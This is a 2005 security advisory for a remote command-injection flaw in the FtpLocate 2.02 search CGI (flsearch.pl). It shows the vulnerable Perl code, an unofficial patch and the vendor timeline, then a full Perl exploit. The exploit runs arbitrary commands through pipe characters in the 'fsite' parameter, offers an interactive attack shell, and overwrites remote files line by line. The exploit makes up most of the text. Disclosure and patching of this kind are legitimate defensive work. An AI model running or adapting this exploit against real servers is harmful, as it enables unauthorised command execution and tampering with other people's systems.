flsearch.pl.txt

2005-07-28T00:00:00
ID PACKETSTORM:38902
Type packetstorm
Reporter newbug
Modified 2005-07-28T00:00:00

Description

                                        
                                            `Chroot Security Group Advisory 2005-07-25  
  
Remote arbitrary code execution in FtpLocate 2.02 (current)  
  
Summary:  
FtpLocate is a ftp search engine supporting filename and description search.  
A remote attack can run arbitary commands with the web server's privileges by  
exploiting a unfiltered parameter in flsearch.pl.  
  
Details:  
FtpLocate contains a vulnerability that can allow an attacker to execute  
arbitrary commands. The vulnerability is due to improper input validation of  
user-supplied parameters (fsite) by the flsearch.pl script. Remote attackers can run arbitary commands with the web servers's privieges by adding a "|" or ";".  
  
Vuln. Systems:  
FtpLocate 1.5 - 2.02   
  
Vuln. Code:  
---   
/ftplocate-2.02/bin/flsearch.pl :  
# line 23 - 60  
$fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite);  
...   
if ( $fsite eq "" ) {  
...  
} else {  
$resultfname=$query_raw."-$fsite";  
...  
}  
...  
open (L, "$CACHEDIR/$resultfname"); # Game Over 1  
---  
/ftplocate-2.02/bin/flsearch.pl:  
# line 53  
do_flsearch($client, $query, $fsite, $resultfname);  
  
/ftplocate-2.02/bin/flmodule.pl:  
# line 526 – 537   
if ( $fsite eq "" ) {  
...  
} else {  
$optf="-F '$fsite'"; # for glimpse  
...  
}  
# line 537  
open(G, "$CMD_GLIMPSE -i -Ny $optf $optw -H $FILELISTDIR -e '$q' 2>/$TMPDIR/flsearch.tmp.$$|"); # Game Over 2  
---  
/ftplocate-2.02/bin/flmodule.pl:  
# line 584  
`$CMD_AGREP -i -e '$q' $setlist_str /dev/null>'$CACHEDIR/$resultfname'`; # Game Over 3  
---  
/ftplocate-2.02/bin/flmodule.pl:  
# line 589  
`$CMD_AGREP -i -e '$q' $setlist_str /dev/null>'$CACHEDIR/$resultfname'`; # Game Over 4  
---  
  
Unofficial Patch:  
diff -urN flsearch.pl.orig flsearch.pl  
--- flsearch.pl.orig 2005-07-22 17:48:52.502670968 +0800  
+++ flsearch.pl 2005-07-22 17:56:00.979532584 +0800  
@@ -20,7 +20,10 @@  
$starttime=gettimeofday(); $starttimestr=timestr();  
  
$query=clean_str($input{'query'}); $query_raw=CGI::escape($query); -$fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite);  
+$fsite=clean_str($input{'fsite'});  
+# dangerous characters  
+$fsite =~ s/[\/\"\'\`\|\<\>\\\(\)\[\]\{\}\$\s;&]//g;  
+$fsite_raw=CGI::escape($fsite); $page=$input{'page'};  
$client=ip2fqdn(client_ip());  
  
  
Vendor Response: 2005.07.15 Vendor notified via email.  
2005.07.19 Vendor notified via email, again.  
2005.07.25 No response. Advisory released.  
  
Exploit Code:  
#!/usr/bin/perl  
#  
# FtpLocate <= 2.02 (current) remote exploit  
# VERY PRIVATE VERSION  
# DO NOT DISTRIBUTE  
#  
# newbug Tseng [at] chroot.org  
#  
  
sub my_socket  
{   
my $s=IO::Socket::INET->new(PeerAddr => $host,  
PeerPort => 80,  
Proto => "tcp") or die "socket: ";  
}  
sub ch2hex  
{   
$chr = $_[0];  
$out="";  
for($i=0;$i<length($chr);$i++)  
{  
$ch = substr($chr,$i,1);  
  
if($ch eq "\"")  
{  
$out.="%5c%22";  
}  
  
elsif($ch eq "\$")  
{  
$out.="%5c%24";  
}  
elsif($ch eq "\@")  
{   
$out.="%5c%40";  
}  
else  
{  
$out.="%".sprintf("%2.2x",ord($ch));  
}  
}  
$out;  
}  
sub upload_file  
{   
print "local file: ";  
chomp($lfile = <STDIN>);  
print "remote file: ";  
chomp($rfile = <STDIN>);  
  
my $socket = &my_socket($host);  
print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk";  
close $socket;  
print "remove $host:$rfile done.\n";  
  
my @DATA = `cat $lfile`;  
$num=1;  
$total = scalar @DATA;  
foreach $DATA (@DATA)  
{   
$DATA = &ch2hex($DATA);  
my $socket = &my_socket($host);  
print $socket "GET $cgi?query=xx\&fsite=|echo%20\"$DATA\"%20>>$rfile| $junk";  
print "Send lfile \"$lfile\" to $host:$rfile ... ($num/$total)\n";   
sleep(1);  
close $socket;  
$num++;  
}  
}   
use IO::Socket::INET;   
  
print "FtpLocate flsearch.pl remote exploit\n";  
print "host: ";  
chomp ($host = <STDIN>);  
print "port (80): ";  
chomp ($port = <STDIN>);  
if($port eq "")   
{   
$port = 80;  
}   
print "version 1.0/1.1 (1.0): ";  
chomp ($ver = <STDIN>);  
if($ver eq "")  
{   
$ver = "1.0";  
}  
print "cmd/upload (cmd): "; chomp ($opt = <STDIN>);  
if($opt eq "") {   
$opt = "cmd";  
}  
print "cgi path (/cgi-bin/ftplocate/flsearch.pl): ";  
chomp ($cgi = <STDIN>);  
if($cgi eq "")  
{   
$cgi = "/cgi-bin/ftplocate/flsearch.pl";  
}  
if($ver eq "1.0")  
{   
$junk = "HTTP/1.0\n\n";  
}  
}  
else  
{  
$junk = "HTTP/1.1\nHost: $host\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\nAccept-Language: zh-tw,en-us;q=0.7,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: Big5,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\n\n"; }   
if($opt eq "cmd")   
{  
while(1){  
print "h4ck3r\@[$host]:~\$ ";  
chomp ($cmd = <STDIN>);  
if($cmd ne "")  
{  
print "Send command \"$cmd\" to $host ...\n";  
$socket = &my_socket($host);  
$cmd =~ s/\s/%20/g;  
  
print $socket "GET $cgi?query=xx\&fsite=|$cmd| $junk";  
print "done.\n";  
}  
}  
}  
elsif($opt eq "upload")  
{   
&upload_file($lfile);  
}  
print "done.\n";  
`